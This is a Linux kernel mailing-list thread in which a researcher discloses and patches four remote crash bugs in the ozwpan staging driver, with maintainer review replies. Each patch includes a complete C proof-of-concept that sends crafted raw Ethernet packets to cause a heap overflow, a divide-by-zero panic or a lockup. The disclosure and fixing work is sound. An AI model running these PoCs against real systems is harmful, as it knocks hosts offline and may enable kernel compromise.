ozwpan: Four remote packet-of-death vulnerabilities
Subsystems (3)
cover ozwpan: Four remote packet-of-death vulnerabilities
The ozwpan driver accepts network packets, parses them, and converts them into various USB functionality. There are numerous security vulnerabilities in the handling of these packets. Two of them result in a memcpy(kernel_buffer, network_packet, -length), one of them is a divide-by-zero, and one of them is a loop that decrements -1 until it's zero.
I've written a very simple proof-of-concept for each one of these vulnerabilities to aid with detecting and fixing them. The general operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]These PoCs should also be useful to the maintainers for testing out constructing and sending various other types of malformed packets against which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two patches of this set can receive one CVE for both, and the remaining two can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in this driver that are worth looking into. When ozwpan receives a packet, it casts the packet into a variety of different structs, based on the value of type and length parameters inside the packet. When making these casts, and when reading bytes based on this length parameter, the actual length of the packet in the socket buffer is never actually consulted. As such, it's very likely that a packet could be sent that results in the kernel reading memory in adjacent buffers, resulting in an information leak, or from unpaged addresses, resulting in a crash. In the former case, it may be possible with certain message types to actually send these leaked adjacent bytes back to the sender of the packet. So, I'd highly recommend the maintainers of this driver go branch-by-branch from the initial rx function, adding checks to ensure all reads and casts are within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
drivers/staging/ozwpan/ozhcd.c | 8 ++++---- drivers/staging/ozwpan/ozusbif.h | 4 ++-- drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++-- 3 files changed, 15 insertions(+), 8 deletions(-)
Signature · 1 line
2.3.6
PATCH 1/4 ozwpan: Use proper check to prevent heap overflow
Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.
This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
drivers/staging/ozwpan/ozusbsvc1.c +3 -1
@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)case OZ_GET_DESC_RSP : {struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; -int data_len = elt->length - +u8 data_len = elt->length -sizeof (struct oz_get_desc_rsp ) +1 ; +if (data_len > elt->length) +break ;u16 offs =le16_to_cpu (get_unaligned (&body->offset));u16 total_size =le16_to_cpu (get_unaligned (&body->total_size));
Signature · 1 line
2.3.6
RE: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
From: Jason A. Donenfeld
Quoted 6 lines
Sent: 13 May 2015 19:34
Sinceelt->lengthis a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy insideoz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data.
...
drivers/staging/ozwpan/ozusbsvc1.c void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) · line 396
Quoted 13 lines
drivers/staging/ozwpan/ozusbsvc1.c +3
-1@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)case OZ_GET_DESC_RSP : {struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; -int data_len = elt->length - +u8 data_len = elt->length -sizeof (struct oz_get_desc_rsp ) +1 ; +if (data_len > elt->length) +break ;
Why not just check the length. eg:
unsigned int data_len = elt->length; if (data_len < sizeof(struct oz_get_desc_rsp) + 1) break;
drivers/staging/ozwpan/ozusbsvc1.c void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) · line 399
Quoted 3 lines
drivers/staging/ozwpan/ozusbsvc1.c +0
-0u16 offs =le16_to_cpu (get_unaligned (&body->offset));u16 total_size =le16_to_cpu (get_unaligned (&body->total_size));
Don't put variable definitions after code.
You don't really want to do arithmetic on local variables that are smaller than a machine word (eg u8 and u16), doing so can require the compiler generate a lot more code.
David
A message that is not in the archive (sent off-list or not yet received): CAHmME9oA3AxBvAYyu38o4Teo3QBjvJZLzmiAv7RyThGbtv6zkw@mail.gmail.com
Re: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
Quoted 4 lines · David Laight
Why not just check the length. eg:
unsigned int data_len = elt->length; if (data_len < sizeof(struct oz_get_desc_rsp) + 1) break;
Sure.
Quoted 9 lines
Quoted 3 lines
u16 offs = le16_to_cpu(get_unaligned(&body->offset)); u16 total_size = le16_to_cpu(get_unaligned(&body->total_size));Don't put variable definitions after code.
You don't really want to do arithmetic on local variables that are smaller than a machine word (eg u8 and u16), doing so can require the compiler generate a lot more code.
This is code is just part of the patch context. Care to submit a follow up patch fixing this so the maintainer can incorporate it? FYI, this is a common occurrence throughout the driver, and a patch set should probably be posted that systematically fixes this problem.
Re: [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
In reply to David LaightQuoted 8 lines · David Laight
From: Jason A. Donenfeld
Quoted 6 lines
Sent: 13 May 2015 19:34
Sinceelt->lengthis a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy insideoz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data....
Quoted 13 lines
drivers/staging/ozwpan/ozusbsvc1.c void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) · line 396
Quoted 13 lines
drivers/staging/ozwpan/ozusbsvc1.c +3
-1@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)case OZ_GET_DESC_RSP : {struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; -int data_len = elt->length - +u8 data_len = elt->length -sizeof (struct oz_get_desc_rsp ) +1 ; +if (data_len > elt->length) +break ;
This check already seems bogus? It's really:
if (sizeof(struct oz_get_desc_rsp) - 1 < 0)
PATCH 2/4 ozwpan: Use unsigned ints to prevent heap overflow
In reply to Jason A. DonenfeldUsing signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozhcd.c | 8 ++++---- drivers/staging/ozwpan/ozusbif.h | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-)
drivers/staging/ozwpan/ozhcd.c +4 -4
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)/* * Context: softirq */ -void oz_hcd_get_desc_cnf (void *hport,u8 req_id,int status,const u8 *desc, -int length,int offset,int total_size) +void oz_hcd_get_desc_cnf (void *hport,u8 req_id,u8 status,const u8 *desc, +u8 length,u16 offset,u16 total_size) {struct oz_port *port = hport;struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,if (!urb)return ;if (status ==0 ) { -int copy_len; -int required_size = urb->transfer_buffer_length; +unsigned int copy_len; +unsigned int required_size = urb->transfer_buffer_length;if (required_size > total_size) required_size = total_size;
drivers/staging/ozwpan/ozusbif.h +2 -2
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);/* Confirmation functions. */ -void oz_hcd_get_desc_cnf (void *hport,u8 req_id,int status, -const u8 *desc,int length,int offset,int total_size); +void oz_hcd_get_desc_cnf (void *hport,u8 req_id,u8 status, +const u8 *desc,u8 length,u16 offset,u16 total_size);void oz_hcd_control_cnf (void *hport,u8 req_id,u8 rcode,const u8 *data,int data_len);
Signature · 1 line
2.3.6
PATCH 3/4 ozwpan: divide-by-zero leading to panic
In reply to Jason A. DonenfeldA network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
drivers/staging/ozwpan/ozusbsvc1.c +4 -1
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n = (len -sizeof (struct oz_multiple_fixed )+1 ) +int n; +if (!body->unit_size) +break ; + n = (len -sizeof (struct oz_multiple_fixed )+1 ) / body->unit_size;while (n--) { oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
Signature · 1 line
2.3.6
PATCH 4/4 ozwpan: unchecked signed subtraction leads to DoS
In reply to Jason A. DonenfeldThe subtraction here was using a signed integer and did not have any bounds checking at all. This commit adds proper bounds checking, made easy by use of an unsigned integer. This way, a single packet won't be able to remotely trigger a massive loop, locking up the system for a considerable amount of time. A PoC follows below, which requires ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}--- drivers/staging/ozwpan/ozusbsvc1.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-)
drivers/staging/ozwpan/ozusbsvc1.c +3 -1
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,struct oz_multiple_fixed *body = (struct oz_multiple_fixed *)data_hdr;u8 *data = body->data; -int n; +unsigned int n;if (!body->unit_size)break ; n = (len -sizeof (struct oz_multiple_fixed )+1 ) / body->unit_size; +if (n > len / body->unit_size) +break ;while (n--) {oz_hcd_data_ind (usb_ctx->hport, body->endpoint, data, body->unit_size);
Signature · 1 line
2.3.6
Quoted 49 lines · Jason A. Donenfeld
The ozwpan driver accepts network packets, parses them, and converts them into various USB functionality. There are numerous security vulnerabilities in the handling of these packets. Two of them result in a
memcpy(kernel_buffer, network_packet, -length), one of them is a divide-by-zero, and one of them is a loop that decrements -1 until it's zero.I've written a very simple proof-of-concept for each one of these vulnerabilities to aid with detecting and fixing them. The general operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0 - Compile the PoC with ozprotocol.h from the kernel tree: $ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./ $ gcc ./poc.c -o ./poc - Run the PoC: # ./poc eth0 [mac-address]These PoCs should also be useful to the maintainers for testing out constructing and sending various other types of malformed packets against which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two patches of this set can receive one CVE for both, and the remaining two can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in this driver that are worth looking into. When ozwpan receives a packet, it casts the packet into a variety of different structs, based on the value of type and length parameters inside the packet. When making these casts, and when reading bytes based on this length parameter, the actual length of the packet in the socket buffer is never actually consulted. As such, it's very likely that a packet could be sent that results in the kernel reading memory in adjacent buffers, resulting in an information leak, or from unpaged addresses, resulting in a crash. In the former case, it may be possible with certain message types to actually send these leaked adjacent bytes back to the sender of the packet. So, I'd highly recommend the maintainers of this driver go branch-by-branch from the initial rx function, adding checks to ensure all reads and casts are within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
Quoted 4 lines
drivers/staging/ozwpan/ozhcd.c | 8 ++++---- drivers/staging/ozwpan/ozusbif.h | 4 ++-- drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++-- 3 files changed, 15 insertions(+), 8 deletions(-)
Any reason you didn't cc: the maintainer who could actually apply these to the kernel tree?
Please use scripts/get_maintainer.pl to properly notify the correct people.
thanks,
greg k-h
Quoted 2 lines · Greg KH
Any reason you didn't cc: the maintainer who could actually apply these to the kernel tree?
I did, look at the email again: the first recipient is <[email protected]>.
Quoted 1 line
From the
MAINTAINERSfile:
STAGING - OZMO DEVICES USB OVER WIFI DRIVER
M: Shigekatsu Tateno <[email protected]>
S: Maintained
F: drivers/staging/ozwpan/
Quoted 4 lines · Jason A. Donenfeld
Quoted 2 lines · Greg KH
Any reason you didn't cc: the maintainer who could actually apply these to the kernel tree?
Quoted 8 lines
I did, look at the email again: the first recipient is <[email protected]>.
Quoted 1 line
From the
MAINTAINERSfile:STAGING - OZMO DEVICES USB OVER WIFI DRIVER
M: Shigekatsu Tateno <[email protected]>
S: Maintained
F:drivers/staging/ozwpan/
$ ./scripts/get_maintainer.pl --file drivers/staging/ozwpan/Makefile Shigekatsu Tateno <[email protected]> (maintainer:STAGING - OZMO DE...) Greg Kroah-Hartman <[email protected]> (supporter:STAGING SUBSYSTEM) [email protected] (open list:STAGING SUBSYSTEM) [email protected] (open list)
You missed me, and the driverdev mailing list. netdev could care less about this.
Please resend to get the proper people involved.
thanks,
greg k-h
cover ozwpan: Four remote packet-of-death vulnerabilities
The ozwpan driver accepts network packets, parses them, and converts them into various USB functionality. There are numerous security vulnerabilities in the handling of these packets. Two of them result in a memcpy(kernel_buffer, network_packet, -length), one of them is a divide-by-zero, and one of them is a loop that decrements -1 until it's zero.
I've written a very simple proof-of-concept for each one of these vulnerabilities to aid with detecting and fixing them. The general operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
